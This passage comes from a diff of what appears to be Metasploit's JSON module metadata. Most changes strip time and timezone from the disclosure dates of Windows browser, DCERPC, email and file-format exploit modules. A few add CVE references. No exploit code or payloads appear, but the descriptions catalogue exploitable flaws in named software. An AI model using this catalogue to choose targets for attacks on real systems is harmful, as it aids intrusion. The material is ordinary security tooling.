"disclosure_date": "2014-01-14", "type": "exploit", "author": [ "Andrea Micalizzi", @@ -60341,7 +58299,7 @@ "name": "Winamp Playlist UNC Path Computer Name Overflow", "full_name": "exploit/windows/browser/winamp_playlist_unc", "rank": 500, - "disclosure_date": "2006-01-29 00:00:00 -0600", + "disclosure_date": "2006-01-29", "type": "exploit", "author": [ "hdm ", @@ -60370,7 +58328,7 @@ "name": "Winamp Ultravox Streaming Metadata (in_mp3.dll) Buffer Overflow", "full_name": "exploit/windows/browser/winamp_ultravox", "rank": 300, - "disclosure_date": "2008-01-18 00:00:00 -0600", + "disclosure_date": "2008-01-18", "type": "exploit", "author": [ "MC " @@ -60398,7 +58356,7 @@ "name": "WinDVD7 IASystemInfo.DLL ActiveX Control Buffer Overflow", "full_name": "exploit/windows/browser/windvd7_applicationtype", "rank": 300, - "disclosure_date": "2007-03-20 00:00:00 -0500", + "disclosure_date": "2007-03-20", "type": "exploit", "author": [ "MC " @@ -60427,7 +58385,7 @@ "name": "WinZip FileView (WZFILEVIEW.FileViewCtrl.61) ActiveX Buffer Overflow", "full_name": "exploit/windows/browser/winzip_fileview", "rank": 300, - "disclosure_date": "2007-11-02 00:00:00 -0500", + "disclosure_date": "2007-11-02", "type": "exploit", "author": [ "dean " @@ -60455,7 +58413,7 @@ "name": "Microsoft WMI Administration Tools ActiveX Buffer Overflow", "full_name": "exploit/windows/browser/wmi_admintools", "rank": 500, - "disclosure_date": "2010-12-21 00:00:00 -0600", + "disclosure_date": "2010-12-21", "type": "exploit", "author": [ "WooYun", @@ -60490,7 +58448,7 @@ "name": "X360 VideoPlayer ActiveX Control Buffer Overflow", "full_name": "exploit/windows/browser/x360_video_player_set_text_bof", "rank": 300, - "disclosure_date": "2015-01-30 00:00:00 -0600", + "disclosure_date": "2015-01-30", "type": "exploit", "author": [ "Rh0", @@ -60518,7 +58476,7 @@ "name": "XMPlay 3.3.0.4 (ASX Filename) Buffer Overflow", "full_name": "exploit/windows/browser/xmplay_asx", "rank": 400, - "disclosure_date": "2006-11-21 00:00:00 -0600", + "disclosure_date": "2006-11-21", "type": "exploit", "author": [ "MC " @@ -60548,7 +58506,7 @@ "name": "Yahoo! Messenger YVerInfo.dll ActiveX Control Buffer Overflow", "full_name": "exploit/windows/browser/yahoomessenger_fvcom", "rank": 300, - "disclosure_date": "2007-08-30 00:00:00 -0500", + "disclosure_date": "2007-08-30", "type": "exploit", "author": [ "MC " @@ -60577,7 +58535,7 @@ "name": "Yahoo! Messenger 8.1.0.249 ActiveX Control Buffer Overflow", "full_name": "exploit/windows/browser/yahoomessenger_server", "rank": 400, - "disclosure_date": "2007-06-05 00:00:00 -0500", + "disclosure_date": "2007-06-05", "type": "exploit", "author": [ "MC " @@ -60605,7 +58563,7 @@ "name": "Zenturi ProgramChecker ActiveX Control Arbitrary File Download", "full_name": "exploit/windows/browser/zenturiprogramchecker_unsafe", "rank": 600, - "disclosure_date": "2007-05-29 00:00:00 -0500", + "disclosure_date": "2007-05-29", "type": "exploit", "author": [ "MC " @@ -60633,7 +58591,7 @@ "name": "AdminStudio LaunchHelp.dll ActiveX Arbitrary Code Execution", "full_name": "exploit/windows/browser/zenworks_helplauncher_exec", "rank": 300, - "disclosure_date": "2011-10-19 00:00:00 -0500", + "disclosure_date": "2011-10-19", "type": "exploit", "author": [ "rgod", @@ -60664,7 +58622,7 @@ "name": "MS03-026 Microsoft RPC DCOM Interface Overflow", "full_name": "exploit/windows/dcerpc/ms03_026_dcom", "rank": 500, - "disclosure_date": "2003-07-16 00:00:00 -0500", + "disclosure_date": "2003-07-16", "type": "exploit", "author": [ "hdm ", @@ -60695,7 +58653,7 @@ "name": "MS05-017 Microsoft Message Queueing Service Path Overflow", "full_name": "exploit/windows/dcerpc/ms05_017_msmq", "rank": 400, - "disclosure_date": "2005-04-12 00:00:00 -0500", + "disclosure_date": "2005-04-12", "type": "exploit", "author": [ "hdm " @@ -60724,7 +58682,7 @@ "name": "MS07-029 Microsoft DNS RPC Service extractQuotedChar() Overflow (TCP)", "full_name": "exploit/windows/dcerpc/ms07_029_msdns_zonename", "rank": 500, - "disclosure_date": "2007-04-12 00:00:00 -0500", + "disclosure_date": "2007-04-12", "type": "exploit", "author": [ "hdm ", @@ -60764,7 +58722,7 @@ "name": "MS07-065 Microsoft Message Queueing Service DNS Name Path Overflow", "full_name": "exploit/windows/dcerpc/ms07_065_msmq", "rank": 400, - "disclosure_date": "2007-12-11 00:00:00 -0600", + "disclosure_date": "2007-12-11", "type": "exploit", "author": [ "hdm " @@ -60792,7 +58750,7 @@ "name": "Windows ANI LoadAniIcon() Chunk Size Stack Buffer Overflow (SMTP)", "full_name": "exploit/windows/email/ms07_017_ani_loadimage_chunksize", "rank": 500, - "disclosure_date": "2007-03-28 00:00:00 -0500", + "disclosure_date": "2007-03-28", "type": "exploit", "author": [ "hdm ", @@ -60835,7 +58793,7 @@ "name": "Outlook ATTACH_BY_REF_ONLY File Execution", "full_name": "exploit/windows/email/ms10_045_outlook_ref_only", "rank": 600, - "disclosure_date": "2010-06-01 00:00:00 -0500", + "disclosure_date": "2010-06-01", "type": "exploit", "author": [ "Yorick Koster " @@ -60865,7 +58823,7 @@ "name": "Outlook ATTACH_BY_REF_RESOLVE File Execution", "full_name": "exploit/windows/email/ms10_045_outlook_ref_resolve", "rank": 600, - "disclosure_date": "2010-06-01 00:00:00 -0500", + "disclosure_date": "2010-06-01", "type": "exploit", "author": [ "Yorick Koster " @@ -60895,7 +58853,7 @@ "name": "EMC AlphaStor Agent Buffer Overflow", "full_name": "exploit/windows/emc/alphastor_agent", "rank": 500, - "disclosure_date": "2008-05-27 00:00:00 -0500", + "disclosure_date": "2008-05-27", "type": "exploit", "author": [ "MC " @@ -60923,7 +58881,7 @@ "name": "EMC AlphaStor Device Manager Opcode 0x75 Command Injection", "full_name": "exploit/windows/emc/alphastor_device_manager_exec", "rank": 600, - "disclosure_date": "2013-01-18 00:00:00 -0600", + "disclosure_date": "2013-01-18", "type": "exploit", "author": [ "Anyway ", @@ -60954,7 +58912,7 @@ "name": "EMC Networker Format String", "full_name": "exploit/windows/emc/networker_format_string", "rank": 300, - "disclosure_date": "2012-08-29 00:00:00 -0500", + "disclosure_date": "2012-08-29", "type": "exploit", "author": [ "Aaron Portnoy", @@ -60987,7 +58945,7 @@ "name": "EMC Replication Manager Command Execution", "full_name": "exploit/windows/emc/replication_manager_exec", "rank": 500, - "disclosure_date": "2011-02-07 00:00:00 -0600", + "disclosure_date": "2011-02-07", "type": "exploit", "author": [ "Unknown", @@ -61018,7 +58976,7 @@ "name": "A-PDF WAV to MP3 v1.0.0 Buffer Overflow", "full_name": "exploit/windows/fileformat/a_pdf_wav_to_mp3", "rank": 300, - "disclosure_date": "2010-08-17 00:00:00 -0500", + "disclosure_date": "2010-08-17", "type": "exploit", "author": [ "d4rk-h4ck3r", @@ -61048,7 +59006,7 @@ "name": "ABBS Audio Media Player .LST Buffer Overflow", "full_name": "exploit/windows/fileformat/abbs_amp_lst", "rank": 300, - "disclosure_date": "2013-06-30 00:00:00 -0500", + "disclosure_date": "2013-06-30", "type": "exploit", "author": [ "Julian Ahrens", @@ -61076,7 +59034,7 @@ "name": "ACDSee FotoSlate PLP File id Parameter Overflow", "full_name": "exploit/windows/fileformat/acdsee_fotoslate_string", "rank": 400, - "disclosure_date": "2011-09-12 00:00:00 -0500", + "disclosure_date": "2011-09-12", "type": "exploit", "author": [ "Parvez Anwar", @@ -61105,7 +59063,7 @@ "name": "ACDSee XPM File Section Buffer Overflow", "full_name": "exploit/windows/fileformat/acdsee_xpm", "rank": 400, - "disclosure_date": "2007-11-23 00:00:00 -0600", + "disclosure_date": "2007-11-23", "type": "exploit", "author": [ "MC " @@ -61133,7 +59091,7 @@ "name": "ActiveFax (ActFax) 4.3 Client Importer Buffer Overflow", "full_name": "exploit/windows/fileformat/actfax_import_users_bof", "rank": 300, - "disclosure_date": "2012-08-28 00:00:00 -0500", + "disclosure_date": "2012-08-28", "type": "exploit", "author": [ "Craig Freyman", @@ -61163,7 +59121,7 @@ "name": "activePDF WebGrabber ActiveX Control Buffer Overflow", "full_name": "exploit/windows/fileformat/activepdf_webgrabber", "rank": 100, - "disclosure_date": "2008-08-26 00:00:00 -0500", + "disclosure_date": "2008-08-26", "type": "exploit", "author": [ "MC " @@ -61190,7 +59148,7 @@ "name": "Adobe Collab.collectEmailInfo() Buffer Overflow", "full_name": "exploit/windows/fileformat/adobe_collectemailinfo", "rank": 400, - "disclosure_date": "2008-02-08 00:00:00 -0600", + "disclosure_date": "2008-02-08", "type": "exploit", "author": [ "MC ", @@ -61218,7 +59176,7 @@ "name": "Adobe CoolType SING Table \"uniqueName\" Stack Buffer Overflow", "full_name": "exploit/windows/fileformat/adobe_cooltype_sing", "rank": 500, - "disclosure_date": "2010-09-07 00:00:00 -0500", + "disclosure_date": "2010-09-07", "type": "exploit", "author": [ "Unknown", @@ -61249,7 +59207,7 @@ "name": "Adobe Flash Player \"Button\" Remote Code Execution", "full_name": "exploit/windows/fileformat/adobe_flashplayer_button", "rank": 300, - "disclosure_date": "2010-10-28 00:00:00 -0500", + "disclosure_date": "2010-10-28", "type": "exploit", "author": [ "Unknown", @@ -61282,7 +59240,7 @@ "name": "Adobe Flash Player \"newfunction\" Invalid Pointer Use", "full_name": "exploit/windows/fileformat/adobe_flashplayer_newfunction", "rank": 300, - "disclosure_date": "2010-06-04 00:00:00 -0500", + "disclosure_date": "2010-06-04", "type": "exploit", "author": [ "Unknown", @@ -61313,7 +59271,7 @@ "name": "Adobe FlateDecode Stream Predictor 02 Integer Overflow", "full_name": "exploit/windows/fileformat/adobe_flatedecode_predictor02", "rank": 400, - "disclosure_date": "2009-10-08 00:00:00 -0500", + "disclosure_date": "2009-10-08", "type": "exploit", "author": [ "unknown", @@ -61344,7 +59302,7 @@ "name": "Adobe Collab.getIcon() Buffer Overflow", "full_name": "exploit/windows/fileformat/adobe_geticon", "rank": 400, - "disclosure_date": "2009-03-24 00:00:00 -0500", + "disclosure_date": "2009-03-24", "type": "exploit", "author": [ "MC ", @@ -61374,7 +59332,7 @@ "name": "Adobe Illustrator CS4 v14.0.0", "full_name": "exploit/windows/fileformat/adobe_illustrator_v14_eps", "rank": 500, - "disclosure_date": "2009-12-03 00:00:00 -0600", + "disclosure_date": "2009-12-03", "type": "exploit", "author": [ "pyrokinesis", @@ -61404,7 +59362,7 @@ "name": "Adobe JBIG2Decode Memory Corruption", "full_name": "exploit/windows/fileformat/adobe_jbig2decode", "rank": 400, - "disclosure_date": "2009-02-19 00:00:00 -0600", + "disclosure_date": "2009-02-19", "type": "exploit", "author": [ "natron ", @@ -61436,7 +59394,7 @@ "name": "Adobe Acrobat Bundled LibTIFF Integer Overflow", "full_name": "exploit/windows/fileformat/adobe_libtiff", "rank": 400, - "disclosure_date": "2010-02-16 00:00:00 -0600", + "disclosure_date": "2010-02-16", "type": "exploit", "author": [ "Microsoft", @@ -61469,7 +59427,7 @@ "name": "Adobe Doc.media.newPlayer Use After Free Vulnerability", "full_name": "exploit/windows/fileformat/adobe_media_newplayer", "rank": 400, - "disclosure_date": "2009-12-14 00:00:00 -0600", + "disclosure_date": "2009-12-14", "type": "exploit", "author": [ "unknown", @@ -61501,7 +59459,7 @@ "name": "Adobe PDF Embedded EXE Social Engineering", "full_name": "exploit/windows/fileformat/adobe_pdf_embedded_exe", "rank": 600, - "disclosure_date": "2010-03-29 00:00:00 -0500", + "disclosure_date": "2010-03-29", "type": "exploit", "author": [ "Colin Ames ", @@ -61533,7 +59491,7 @@ "name": "Adobe PDF Escape EXE Social Engineering (No JavaScript)", "full_name": "exploit/windows/fileformat/adobe_pdf_embedded_exe_nojs", "rank": 600, - "disclosure_date": "2010-03-29 00:00:00 -0500", + "disclosure_date": "2010-03-29", "type": "exploit", "author": [ "Jeremy Conway " @@ -61564,7 +59522,7 @@ "name": "Adobe Reader U3D Memory Corruption Vulnerability", "full_name": "exploit/windows/fileformat/adobe_reader_u3d", "rank": 200, - "disclosure_date": "2011-12-06 00:00:00 -0600", + "disclosure_date": "2011-12-06", "type": "exploit", "author": [ "Felipe Andres Manzano", @@ -61599,7 +59557,7 @@ "name": "Adobe Reader ToolButton Use After Free", "full_name": "exploit/windows/fileformat/adobe_toolbutton", "rank": 300, - "disclosure_date": "2013-08-08 00:00:00 -0500", + "disclosure_date": "2013-08-08", "type": "exploit", "author": [ "Soroush Dalili", @@ -61632,7 +59590,7 @@ "name": "Adobe U3D CLODProgressiveMeshDeclaration Array Overrun", "full_name": "exploit/windows/fileformat/adobe_u3d_meshdecl", "rank": 400, - "disclosure_date": "2009-10-13 00:00:00 -0500", + "disclosure_date": "2009-10-13", "type": "exploit", "author": [ "Felipe Andres Manzano ", @@ -61661,7 +59619,7 @@ "name": "Adobe util.printf() Buffer Overflow", "full_name": "exploit/windows/fileformat/adobe_utilprintf", "rank": 400, - "disclosure_date": "2008-02-08 00:00:00 -0600", + "disclosure_date": "2008-02-08", "type": "exploit", "author": [ "MC ", @@ -61689,15 +59647,16 @@ "name": "ALLPlayer M3U Buffer Overflow", "full_name": "exploit/windows/fileformat/allplayer_m3u_bof", "rank": 300, - "disclosure_date": "2013-10-09 00:00:00 -0500", + "disclosure_date": "2013-10-09", "type": "exploit", "author": [ "metacom", "Mike Czumak", "Gabor Seljan" ], - "description": "This module exploits a stack-based buffer overflow vulnerability in\n ALLPlayer 2.8.1, caused by a long string in a playlist entry.\n By persuading the victim to open a specially-crafted .M3U file, a\n remote attacker could execute arbitrary code on the system or cause\n the application to crash. This module has been tested successfully on\n Windows 7 SP1.", + "description": "This module exploits a stack-based buffer overflow vulnerability in\n ALLPlayer 5.8.1, caused by a long string in a playlist entry.\n By persuading the victim to open a specially-crafted .M3U file, a\n remote attacker could execute arbitrary code on the system or cause\n the application to crash. This module has been tested successfully on\n Windows 7 SP1.", "references": [ + "CVE-2013-7409", "BID-62926", "BID-63896", "EDB-28855", @@ -61724,7 +59683,7 @@ "name": "Altap Salamander 2.5 PE Viewer Buffer Overflow", "full_name": "exploit/windows/fileformat/altap_salamander_pdb", "rank": 400, - "disclosure_date": "2007-06-19 00:00:00 -0500", + "disclosure_date": "2007-06-19", "type": "exploit", "author": [ "aushack " @@ -61753,7 +59712,7 @@ "name": "AOL Desktop 9.6 RTX Buffer Overflow", "full_name": "exploit/windows/fileformat/aol_desktop_linktag", "rank": 300, - "disclosure_date": "2011-01-31 00:00:00 -0600", + "disclosure_date": "2011-01-31", "type": "exploit", "author": [ "sup3r", @@ -61786,7 +59745,7 @@ "name": "AOL 9.5 Phobos.Playlist Import() Stack-based Buffer Overflow", "full_name": "exploit/windows/fileformat/aol_phobos_bof", "rank": 200, - "disclosure_date": "2010-01-20 00:00:00 -0600", + "disclosure_date": "2010-01-20", "type": "exploit", "author": [ "Trancer " @@ -61814,7 +59773,7 @@ "name": "Apple QuickTime PICT PnSize Buffer Overflow", "full_name": "exploit/windows/fileformat/apple_quicktime_pnsize", "rank": 400, - "disclosure_date": "2011-08-08 00:00:00 -0500", + "disclosure_date": "2011-08-08", "type": "exploit", "author": [ "MC ", @@ -61844,7 +59803,7 @@ "name": "Apple Quicktime 7 Invalid Atom Length Buffer Overflow", "full_name": "exploit/windows/fileformat/apple_quicktime_rdrf", "rank": 300, - "disclosure_date": "2013-05-22 00:00:00 -0500", + "disclosure_date": "2013-05-22", "type": "exploit", "author": [ "Jason Kratzer", @@ -61877,7 +59836,7 @@ "name": "Apple QuickTime TeXML Style Element Stack Buffer Overflow", "full_name": "exploit/windows/fileformat/apple_quicktime_texml", "rank": 300, - "disclosure_date": "2012-05-15 00:00:00 -0500", + "disclosure_date": "2012-05-15", "type": "exploit", "author": [ "Alexander Gavrun", @@ -61912,7 +59871,7 @@ "name": "AudioCoder .M3U Buffer Overflow", "full_name": "exploit/windows/fileformat/audio_coder_m3u", "rank": 300, - "disclosure_date": "2013-05-01 00:00:00 -0500", + "disclosure_date": "2013-05-01", "type": "exploit", "author": [ "metacom", @@ -61920,6 +59879,7 @@ ], "description": "This module exploits a buffer overflow in AudioCoder 0.8.18. The vulnerability\n occurs when adding an .m3u, allowing arbitrary code execution with the privileges\n of the user running AudioCoder. This module has been tested successfully on\n AudioCoder 0.8.18.5353 over Windows XP SP3 and Windows 7 SP1.", "references": [ + "CVE-2017-8870", "OSVDB-92939", "EDB-25141" ], @@ -61940,7 +59900,7 @@ "name": "Audio Workstation 6.4.2.4.3 pls Buffer Overflow", "full_name": "exploit/windows/fileformat/audio_wkstn_pls", "rank": 400, - "disclosure_date": "2009-12-08 00:00:00 -0600", + "disclosure_date": "2009-12-08", "type": "exploit", "author": [ "germaya_x", @@ -61969,7 +59929,7 @@ "name": "Audiotran 1.4.1 (PLS File) Stack Buffer Overflow", "full_name": "exploit/windows/fileformat/audiotran_pls", "rank": 400, - "disclosure_date": "2010-01-09 00:00:00 -0600", + "disclosure_date": "2010-01-09", "type": "exploit", "author": [ "Sebastien Duquette", @@ -61998,7 +59958,7 @@ "name": "Audiotran PLS File Stack Buffer Overflow", "full_name": "exploit/windows/fileformat/audiotran_pls_1424", "rank": 400, - "disclosure_date": "2010-09-09 00:00:00 -0500", + "disclosure_date": "2010-09-09", "type": "exploit", "author": [ "Philip OKeefe" @@ -62024,7 +59984,7 @@ "name": "Aviosoft Digital TV Player Professional 1.0 Stack Buffer Overflow", "full_name": "exploit/windows/fileformat/aviosoft_plf_buf", "rank": 400, - "disclosure_date": "2011-11-09 00:00:00 -0600", + "disclosure_date": "2011-11-09", "type": "exploit", "author": [ "modpr0be", @@ -62052,7 +60012,7 @@ "name": "BACnet OPC Client Buffer Overflow", "full_name": "exploit/windows/fileformat/bacnet_csv", "rank": 400, - "disclosure_date": "2010-09-16 00:00:00 -0500", + "disclosure_date": "2010-09-16", "type": "exploit", "author": [ "Jeremy Brown", @@ -62060,6 +60020,7 @@ ], "description": "This module exploits a stack buffer overflow in SCADA\n Engine BACnet OPC Client v1.0.24. When the BACnet OPC Client\n parses a specially crafted csv file, arbitrary code may be\n executed.", "references": [ + "CVE-2010-4740", "OSVDB-68096", "BID-43289", "URL-http://www.us-cert.gov/control_systems/pdf/ICSA-10-264-01.pdf" @@ -62082,7 +60043,7 @@ "name": "Beetel Connection Manager NetConfig.ini Buffer Overflow", "full_name": "exploit/windows/fileformat/beetel_netconfig_ini_bof", "rank": 300, - "disclosure_date": "2013-10-12 00:00:00 -0500", + "disclosure_date": "2013-10-12", "type": "exploit", "author": [ "metacom", @@ -62110,7 +60071,7 @@ "name": "BlazeVideo HDTV Player Pro v6.6 Filename Handling Vulnerability", "full_name": "exploit/windows/fileformat/blazedvd_hdtv_bof", "rank": 300, - "disclosure_date": "2012-04-03 00:00:00 -0500", + "disclosure_date": "2012-04-03", "type": "exploit", "author": [ "b33f", @@ -62139,7 +60100,7 @@ "name": "BlazeDVD 6.1 PLF Buffer Overflow", "full_name": "exploit/windows/fileformat/blazedvd_plf", "rank": 400, - "disclosure_date": "2009-08-03 00:00:00 -0500", + "disclosure_date": "2009-08-03", "type": "exploit", "author": [ "MC ", @@ -62172,7 +60133,7 @@ "name": "Boxoft WAV to MP3 Converter v1.1 Buffer Overflow", "full_name": "exploit/windows/fileformat/boxoft_wav_to_mp3", "rank": 300, - "disclosure_date": "2015-08-31 00:00:00 +0000", + "disclosure_date": "2015-08-31", "type": "exploit", "author": [ "Robbie Corley", @@ -62200,7 +60161,7 @@ "name": "BulletProof FTP Client BPS Buffer Overflow", "full_name": "exploit/windows/fileformat/bpftp_client_bps_bof", "rank": 300, - "disclosure_date": "2014-07-24 00:00:00 -0500", + "disclosure_date": "2014-07-24", "type": "exploit", "author": [ "Gabor Seljan" @@ -62230,7 +60191,7 @@ "name": "BS.Player 2.57 Buffer Overflow (Unicode SEH)", "full_name": "exploit/windows/fileformat/bsplayer_m3u", "rank": 300, - "disclosure_date": "2010-01-07 00:00:00 -0600", + "disclosure_date": "2010-01-07", "type": "exploit", "author": [ "C4SS!0 G0M3S", @@ -62259,7 +60220,7 @@ "name": "CA Antivirus Engine CAB Buffer Overflow", "full_name": "exploit/windows/fileformat/ca_cab", "rank": 400, - "disclosure_date": "2007-06-05 00:00:00 -0500", + "disclosure_date": "2007-06-05", "type": "exploit", "author": [ "MC " @@ -62288,7 +60249,7 @@ "name": "Cain and Abel RDP Buffer Overflow", "full_name": "exploit/windows/fileformat/cain_abel_4918_rdp", "rank": 400, - "disclosure_date": "2008-11-30 00:00:00 -0600", + "disclosure_date": "2008-11-30", "type": "exploit", "author": [ "Trancek " @@ -62319,13 +60280,14 @@ "name": "CCMPlayer 1.5 m3u Playlist Stack Based Buffer Overflow", "full_name": "exploit/windows/fileformat/ccmplayer_m3u_bof", "rank": 400, - "disclosure_date": "2011-11-30 00:00:00 -0600", + "disclosure_date": "2011-11-30", "type": "exploit", "author": [ "Rh0" ], "description": "This module exploits a stack based buffer overflow in CCMPlayer 1.5. Opening\n a m3u playlist with a long track name, a SEH exception record can be overwritten\n with parts of the controllable buffer. SEH execution is triggered after an\n invalid read of an injectable address, thus allowing arbitrary code execution.\n This module works on multiple Windows platforms including: Windows XP SP3,\n Windows Vista, and Windows 7.", "references": [ + "CVE-2011-5170", "OSVDB-77453", "EDB-18178" ], @@ -62346,7 +60308,7 @@ "name": "Chasys Draw IES Buffer Overflow", "full_name": "exploit/windows/fileformat/chasys_draw_ies_bmp_bof", "rank": 300, - "disclosure_date": "2013-07-26 00:00:00 -0500", + "disclosure_date": "2013-07-26", "type": "exploit", "author": [ "Christopher Gabriel", @@ -62379,7 +60341,7 @@ "name": "Cool PDF Image Stream Buffer Overflow", "full_name": "exploit/windows/fileformat/coolpdf_image_stream_bof", "rank": 300, - "disclosure_date": "2013-01-18 00:00:00 -0600", + "disclosure_date": "2013-01-18", "type": "exploit", "author": [ "Francis Provencher", @@ -62410,7 +60372,7 @@ "name": "Corel PDF Fusion Stack Buffer Overflow", "full_name": "exploit/windows/fileformat/corelpdf_fusion_bof", "rank": 300, - "disclosure_date": "2013-07-08 00:00:00 -0500", + "disclosure_date": "2013-07-08", "type": "exploit", "author": [ "Kaveh Ghaemmaghami", @@ -62440,7 +60402,7 @@ "name": "Csound hetro File Handling Stack Buffer Overflow", "full_name": "exploit/windows/fileformat/csound_getnum_bof", "rank": 300, - "disclosure_date": "2012-02-23 00:00:00 -0600", + "disclosure_date": "2012-02-23", "type": "exploit", "author": [ "Secunia", @@ -62471,7 +60433,7 @@ "name": "GlobalSCAPE CuteZIP Stack Buffer Overflow", "full_name": "exploit/windows/fileformat/cutezip_bof", "rank": 300, - "disclosure_date": "2011-02-12 00:00:00 -0600", + "disclosure_date": "2011-02-12", "type": "exploit", "author": [ "C4SS!0 G0M3S ", @@ -62500,7 +60462,7 @@ "name": "LNK Code Execution Vulnerability", "full_name": "exploit/windows/fileformat/cve_2017_8464_lnk_rce", "rank": 600, - "disclosure_date": "2017-06-13 00:00:00 -0500", + "disclosure_date": "2017-06-13", "type": "exploit", "author": [ "Uncredited", @@ -62535,7 +60497,7 @@ "name": "CyberLink Power2Go name Attribute (p2g) Stack Buffer Overflow Exploit", "full_name": "exploit/windows/fileformat/cyberlink_p2g_bof", "rank": 500, - "disclosure_date": "2011-09-12 00:00:00 -0500", + "disclosure_date": "2011-09-12", "type": "exploit", "author": [ "modpr0be ", @@ -62543,6 +60505,7 @@ ], "description": "This module exploits a stack buffer overflow in CyberLink Power2Go version 8.x\n The vulnerability is triggered when opening a malformed p2g file containing an overly\n long string in the 'name' attribute of the file element. This results in overwriting a\n structured exception handler record.", "references": [ + "CVE-2011-5171", "BID-50997", "OSVDB-77600", "EDB-18220", @@ -62565,7 +60528,7 @@ "name": "Cytel Studio 9.0 (CY3 File) Stack Buffer Overflow", "full_name": "exploit/windows/fileformat/cytel_studio_cy3", "rank": 400, - "disclosure_date": "2011-10-02 00:00:00 -0500", + "disclosure_date": "2011-10-02", "type": "exploit", "author": [ "Luigi Auriemma", @@ -62594,7 +60557,7 @@ "name": "AstonSoft DeepBurner (DBR File) Path Buffer Overflow", "full_name": "exploit/windows/fileformat/deepburner_path", "rank": 500, - "disclosure_date": "2006-12-19 00:00:00 -0600", + "disclosure_date": "2006-12-19", "type": "exploit", "author": [ "Expanders", @@ -62627,7 +60590,7 @@ "name": "Destiny Media Player 1.61 PLS M3U Buffer Overflow", "full_name": "exploit/windows/fileformat/destinymediaplayer16", "rank": 400, - "disclosure_date": "2009-01-03 00:00:00 -0600", + "disclosure_date": "2009-01-03", "type": "exploit", "author": [ "Trancek " @@ -62657,7 +60620,7 @@ "name": "Digital Music Pad Version 8.2.3.3.4 Stack Buffer Overflow", "full_name": "exploit/windows/fileformat/digital_music_pad_pls", "rank": 300, - "disclosure_date": "2010-09-17 00:00:00 -0500", + "disclosure_date": "2010-09-17", "type": "exploit", "author": [ "Abhishek Lyall " @@ -62685,7 +60648,7 @@ "name": "DJ Studio Pro 5.1 .pls Stack Buffer Overflow", "full_name": "exploit/windows/fileformat/djstudio_pls_bof", "rank": 300, - "disclosure_date": "2009-12-30 00:00:00 -0600", + "disclosure_date": "2009-12-30", "type": "exploit", "author": [ "Sebastien Duquette", @@ -62714,7 +60677,7 @@ "name": "DjVu DjVu_ActiveX_MSOffice.dll ActiveX ComponentBuffer Overflow", "full_name": "exploit/windows/fileformat/djvu_imageurl", "rank": 100, - "disclosure_date": "2008-10-30 00:00:00 -0500", + "disclosure_date": "2008-10-30", "type": "exploit", "author": [ "dean " @@ -62742,7 +60705,7 @@ "name": "Dup Scout Enterprise v10.4.16 - Import Command Buffer Overflow", "full_name": "exploit/windows/fileformat/dupscout_xml", "rank": 300, - "disclosure_date": "2017-03-29 00:00:00 -0500", + "disclosure_date": "2017-03-29", "type": "exploit", "author": [ "Daniel Teixeira" @@ -62768,7 +60731,7 @@ "name": "DVD X Player 5.5 .plf PlayList Buffer Overflow", "full_name": "exploit/windows/fileformat/dvdx_plf_bof", "rank": 300, - "disclosure_date": "2007-06-02 00:00:00 -0500", + "disclosure_date": "2007-06-02", "type": "exploit", "author": [ "n00b", @@ -62800,7 +60763,7 @@ "name": "Easy CD-DA Recorder PLS Buffer Overflow", "full_name": "exploit/windows/fileformat/easycdda_pls_bof", "rank": 300, - "disclosure_date": "2010-06-07 00:00:00 -0500", + "disclosure_date": "2010-06-07", "type": "exploit", "author": [ "chap0", @@ -62832,13 +60795,14 @@ "name": "EMC ApplicationXtender (KeyWorks) ActiveX Control Buffer Overflow", "full_name": "exploit/windows/fileformat/emc_appextender_keyworks", "rank": 200, - "disclosure_date": "2009-09-29 00:00:00 -0500", + "disclosure_date": "2009-09-29", "type": "exploit", "author": [ "MC " ], "description": "This module exploits a stack buffer overflow in the KeyWorks KeyHelp ActiveX Control\n (KeyHelp.ocx 1.2.3120.0). This ActiveX Control comes bundled with EMC's\n Documentation ApplicationXtender 5.4.", "references": [ + "CVE-2012-2515", "OSVDB-58423", "BID-36546" ], @@ -62859,7 +60823,7 @@ "name": "ERS Viewer 2011 ERS File Handling Buffer Overflow", "full_name": "exploit/windows/fileformat/erdas_er_viewer_bof", "rank": 300, - "disclosure_date": "2013-04-23 00:00:00 -0500", + "disclosure_date": "2013-04-23", "type": "exploit", "author": [ "Parvez Anwar", @@ -62889,7 +60853,7 @@ "name": "ERS Viewer 2013 ERS File Handling Buffer Overflow", "full_name": "exploit/windows/fileformat/erdas_er_viewer_rf_report_error", "rank": 300, - "disclosure_date": "2013-05-23 00:00:00 -0500", + "disclosure_date": "2013-05-23", "type": "exploit", "author": [ "James Fitts", @@ -62919,7 +60883,7 @@ "name": "eSignal and eSignal Pro File Parsing Buffer Overflow in QUO", "full_name": "exploit/windows/fileformat/esignal_styletemplate_bof", "rank": 300, - "disclosure_date": "2011-09-06 00:00:00 -0500", + "disclosure_date": "2011-09-06", "type": "exploit", "author": [ "Luigi Auriemma", @@ -62951,7 +60915,7 @@ "name": "CA eTrust PestPatrol ActiveX Control Buffer Overflow", "full_name": "exploit/windows/fileformat/etrust_pestscan", "rank": 200, - "disclosure_date": "2009-11-02 00:00:00 -0600", + "disclosure_date": "2009-11-02", "type": "exploit", "author": [ "MC " @@ -62978,7 +60942,7 @@ "name": "eZip Wizard 3.0 Stack Buffer Overflow", "full_name": "exploit/windows/fileformat/ezip_wizard_bof", "rank": 400, - "disclosure_date": "2009-03-09 00:00:00 -0500", + "disclosure_date": "2009-03-09", "type": "exploit", "author": [ "fl0 fl0w", @@ -63011,7 +60975,7 @@ "name": "Fat Player Media Player 0.6b0 Buffer Overflow", "full_name": "exploit/windows/fileformat/fatplayer_wav", "rank": 300, - "disclosure_date": "2010-10-18 00:00:00 -0500", + "disclosure_date": "2010-10-18", "type": "exploit", "author": [ "James Fitts ", @@ -63040,7 +61004,7 @@ "name": "Free Download Manager Torrent Parsing Buffer Overflow", "full_name": "exploit/windows/fileformat/fdm_torrent", "rank": 400, - "disclosure_date": "2009-02-02 00:00:00 -0600", + "disclosure_date": "2009-02-02", "type": "exploit", "author": [ "SkD ", @@ -63073,7 +61037,7 @@ "name": "FeedDemon Stack Buffer Overflow", "full_name": "exploit/windows/fileformat/feeddemon_opml", "rank": 500, - "disclosure_date": "2009-02-09 00:00:00 -0600", + "disclosure_date": "2009-02-09", "type": "exploit", "author": [ "fl0 fl0w", @@ -63106,7 +61070,7 @@ "name": "Foxit PDF Reader 4.2 Javascript File Write", "full_name": "exploit/windows/fileformat/foxit_reader_filewrite", "rank": 300, - "disclosure_date": "2011-03-05 00:00:00 -0600", + "disclosure_date": "2011-03-05", "type": "exploit", "author": [ "bannedit ", @@ -63136,7 +61100,7 @@ "name": "Foxit Reader 3.0 Open Execute 